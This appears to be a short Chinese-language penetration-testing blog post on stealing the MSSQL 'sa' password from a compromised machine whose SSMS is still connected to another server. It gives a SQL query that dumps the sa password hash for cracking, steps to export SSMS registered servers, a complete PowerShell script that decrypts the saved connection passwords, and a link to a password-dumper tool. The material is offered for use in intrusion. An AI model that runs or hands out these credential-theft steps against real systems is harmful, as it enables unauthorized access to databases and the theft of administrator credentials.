內網滲透是有的時候會遇到對方SSMS沒斷開連接正連着別的機器的mssql此時有兩種方法可以獲取sa密碼
當密碼強度較弱時可以使用第一只方式,第一種方式解不開的情況下可以使用后面二種方式
1.直接查詢sa密碼hash
使用如下語句:
Select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name = 'sa'
直接得到sa密碼hash
上cmd5解密
2.使用SSMS的注冊導出功能
右鍵點擊,然后選擇注冊
點擊保存
點擊識圖然后點擊已注冊服務器
然后右鍵選擇任務,然后導出
這個記得別勾,點確定
然后使用powershell腳本解密
param( [Parameter(Mandatory=$true)] [string] $FileName ) Add-Type -AssemblyName System.Security $ErrorActionPreference = 'Stop' function Unprotect-String([string] $base64String) { return [System.Text.Encoding]::Unicode.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String($base64String ), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) } $document = [xml] (Get-Content $FileName) $nsm = New-Object 'System.Xml.XmlNamespaceManager' ($document.NameTable) $nsm.AddNamespace('rs', 'http://schemas.microsoft.com/sqlserver/RegisteredServers/2007/08') $attr = $document.DocumentElement.GetAttribute('plainText') if ($attr -ne '' -and $Operation -ieq 'Decrypt') { throw "The file does not contain encrypted passwords." } $servers = $document.SelectNodes("//rs:RegisteredServer", $nsm) foreach ($server in $servers) { $connString = $server.ConnectionStringWithEncryptedPassword.InnerText echo "" echo "Encrypted Connection String:" echo $connString echo "" if ($connString -inotmatch 'password="?([^";]+)"?') {continue} $password = $Matches[1] $password = Unprotect-String $password echo "" echo "Decrypted Connection String:" $connString = $connString -ireplace 'password="?([^";]+)"?', "password=`"$password`"" echo $connString echo "" }
3.導出SSMS記住的密碼
http://www.zcgonvh.com/post/SQL_Server_Management_Studio_saved_password_dumper.html